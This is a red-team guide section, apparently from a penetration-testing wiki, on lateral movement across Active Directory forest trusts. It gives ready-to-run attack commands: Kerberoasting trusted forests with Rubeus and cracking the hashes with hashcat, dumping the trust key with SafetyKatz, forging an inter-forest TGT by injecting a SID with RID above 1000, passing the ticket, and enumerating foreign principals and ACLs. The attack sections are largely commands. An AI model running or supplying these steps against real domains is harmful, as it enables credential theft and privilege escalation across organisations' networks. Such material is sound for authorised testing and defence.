Cross Forest Attacks

This section covers techniques for lateral movement across forest trusts in Active Directory.

Kerberoasting Across Forests

Kerberoasting can also be used to target accounts across forest trusts. For instance, if a trust relationship exists between two forests for example, alpha.local and beta.local, and you have access to alpha.local, you can still Kerberoast service accounts in beta.local.

Identify service accounts with Service Principal Names (SPNs) across all trusted domains in the current forest:

PowerView

Get-DomainTrust | ?{$_.TrustAttributes -eq 'FILTER_SIDS'} | %{Get-DomainUser -SPN -Domain $_.TargetName}

ActiveDirectory Module

Get-ADTrust -Filter 'IntraForest -ne $true' | %{GetADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName -Server $_.Name}

Once an account with an SPN is identified, use a tool like Rubeus to request a TGS ticket for that account. For example:

Rubeus.exe kerberoast /user:storagesvc /simple /domain:beta.local /outfile:hash.txt

The extracted TGS ticket can then be cracked offline using a password cracking tool like hashcat.

hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

Trust Key

The Trust Key is a shared secret used to establish trust relationships between forests in Active Directory. It can be abused the same way as the Trust Key in a child-parent domain trust. Make sure to read Intra-Forest Privilege Escalation (Child to Parent Domain) first to have a better understanding of what comes next.

Across forest trusts, the forest is the security boundary. The forest defines the boundaries of trust and controls access to resources within the forest.

SID Filtering plays an important role in the security boundary by making sure "only SIDs from the trusted domain will be accepted for authorization data returned during authentication. SIDs from other domains will be removed". It filters high privileged SIDs (like Domain Admins, Enterprise Admins, etc.) from the SIDHistory of a TGT crossing a forest boundary. This means it is not possible to access resources in the trusting forest as an Enterprise Admin.

Authentication Flow

The diagram above illustrates the Kerberos authentication flow between two forests: alpha.local and beta.local, which are connected via a forest trust. When a client from the beta.local domain attempts to access a service hosted in the alpha.local domain, the following process happens:

1. The client on behalf of the user requests a TGT from the beta.local domain DC.
2. The DC responds with a TGT that the client can use to request a TGS for the service it wants to access.
3. The client presents the TGT to request a TGS for a service located in the alpha.local domain. The DC inspects the SPN and sees that the target service is outside its realm and resides in another domain. As a result, it cannot issue a TGS for it.
4. Instead, the DC responds with an inter-realm TGT, also known as a referral ticket. This ticket is encrypted using the Trust Key shared with the alpha.local domain and instructs the client to contact the appropriate DC in the alpha.local domain to obtain a TGS for the target service.
5. The client uses the inter-realm TGT to request a TGS from the alpha.local domain DC. The only check the DC performs is whether it can successfully decrypt the inter-realm TGT.
6. The DC issues a TGS for the requested service and sends it back to the client.
7. The client can now use the TGS to access the service in the alpha.local domain.

Abuse

Use a tool like SafetyKatz (a safer variant of Mimikatz) to dump the trust key from the current domain:

SafetyKatz.exe "lsadump::trust /patch"

SIDFiltering is not enforced for RID > 1000. This means, if you have an external trust, you can inject a SIDHistory for RID > 1000 and access resources in the trusted domain.

Identify a group in the trusted domain with a SID that has a RID > 1000.

ActiveDirectory Module

Get-ADGroup -Filter 'SID -ge "S-1-5-21-210670767-2521448726-163245707-1000"'

DistinguishedName : CN=EUAdmins,CN=Users,DC=alpha,DC=local
GroupCategory : Security
GroupScope : Global
Name : EUAdmins
ObjectClass : group
ObjectGUID : 1dad0633-fcf5-49dc-9431-8b167cf36969
SamAccountName : euadmins
SID : S-1-5-21-210670767-2521448726-163245707-1103

With the trust key and the SID of the group, use Rubeus to forge an inter-forest TGT:

Rubeus.exe silver /user:Administrator /ldap /service:krbtgt/EXAMPLE.LOCAL /rc4:<trust_key> /sids:<SID> /nowrap

Use the forged TGT to request a TGS for a service in the other forest, then pass the ticket. Make sure to replace <ticket> with the base64-encoded ticket from the previous step.

Rubeus.exe asktgs /service:HTTP/euvendor-net.alpha.local /dc:euvendor-dc.alpha.local /ptt /ticket:<ticket>

References

https://www.thehacker.recipes/ad/movement/trusts/#sid-filtering

Foreign Security Principals (FSP)

A Foreign Security Principal (FSP) is an object in Active Directory that represents a security principal (such as a user, group, or computer) from a trusted external domain or forest. These objects are created automatically when an external principal is added to a security group within the local domain.

FSPs are especially relevant when you need to add users or groups from another domain or forest to domain local groups in your domain, commonly for resource access across forests. For example, if you add a user from a trusted external domain to a local group in your domain, an FSP object is automatically created to represent that external user.

While it is useful for cross-forest access control, FSPs are often overlooked, misconfigured, or difficult to manage. As a result, they can pose a security risk if not properly maintained.

In some enterprise environments, organizations use a management forest, a separate forest with administrative accounts, and add high-privilege groups (such as Domain Admins from the management forest) into local groups in the managed forests. This setup relies on FSPs to bridge the trust between the management and target forests. Not surprisingly, If a administrative account in the management forest is compromised, it can be used to gain access to resources in the managed forests.

Enumeration

You can use the following commands to enumerate FSPs in the current domain:

PowerView

Find-ForeignGroup -Verbose
Find-ForeignUser -Verbose

ActiveDirectory Module

Get-ADObject -Filter {objectClass -eq "foreignSecurityPrincipal"}

ACLs (Access Control Lists)

ACLs (Access Control Lists) can also be abused across forests. For example, if there is a forest trust (particularly a two-way trust), an attacker with sufficient rights in one forest can abuse ACLs to escalate privileges or move laterally into the trusted forest.

Enumeration

To enumerate ACLs across forests, you can use the following commands:

PowerView

Find-InterestingDomainAcl -ResolveGUIDs -Domain beta.local

Abusing PAM Trust

Coming soon...